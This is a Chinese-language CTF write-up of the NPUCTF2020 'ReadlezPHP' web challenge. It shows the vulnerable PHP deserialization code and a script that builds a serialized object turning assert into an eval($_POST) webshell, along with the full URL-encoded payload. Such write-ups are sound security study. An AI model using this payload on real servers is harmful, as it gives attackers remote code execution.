BUUCTF[NPUCTF2020] web 部分WP

BUUCTF[NPUCTF2020] web 部分WP

上周做了做NPUCTF的题,今天在buuoj上面复现了一波,顺便写写write up

ReadlezPHP

这是一道简单的反序列化的题
进入页面没什么发现,只有一个跳转到西工大官网的链接,然后查看源码,发现一个隐藏的a标签

然后进入页面,看到了源码

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

这段代码的关键在于当执行反序列化函数的时候,调用__destruct函数执行echo $b($a),我们便可以利用这个函数执行任意我们想执行的函数,从而达到getshell的目的。
接下来便是写php脚本构造序列化了,期间试了很多函数比如system等等都被禁用了,但是我们还可以用assert这个函数。
首先我们来了解一下断言(assert)这个函数,参考大佬的文章PHP assert 和 eval

assert 判断一个表达式是否成立。返回true or false;

我们来看一个例子:

<?php
$a = "123";
echo assert(is_numeric($a));
?>

这段代码输出的结果是:

简言之就是assert()可以将整个字符串参数当作php参数执行,而类似的eval()函数是执行合法的php代码。
接下来放出序列化的脚本

<?php
class HelloPhp
{
    public $a;
    public $b;
	
}
$c = new HelloPhp;
$c->b = 'assert';
$c->a = 'eval($_POST[a]);';
echo urlencode(serialize($c))."<br/>";

?>

这里除了用assert()之外,还可以用call_user_func()函数

call_user_func — 把第一个参数作为回调函数调用

<?php 
function barber($type){
    echo "you wanted a $type haircut, no problem\n";
}
call_user_func('barber','mushroom');
?>
//返回内容如下:
//you wanted a mushroom haircut, no problem

只要构造出call_user_func(phpinfo)就好了

payload:

?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A16%3A%22eval%28%24_POST%5Ba%5D%29%3B%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D

成功得出结果:

一开始我还想着链接蚁剑,发现连不上,看了大佬的WP才知道原来flag就在phpinfo页面中,我还是太年轻!


得到flag!

未完待续···

posted @ 2020-04-23 20:08  youmg  阅读(1263)  评论(3编辑  收藏  举报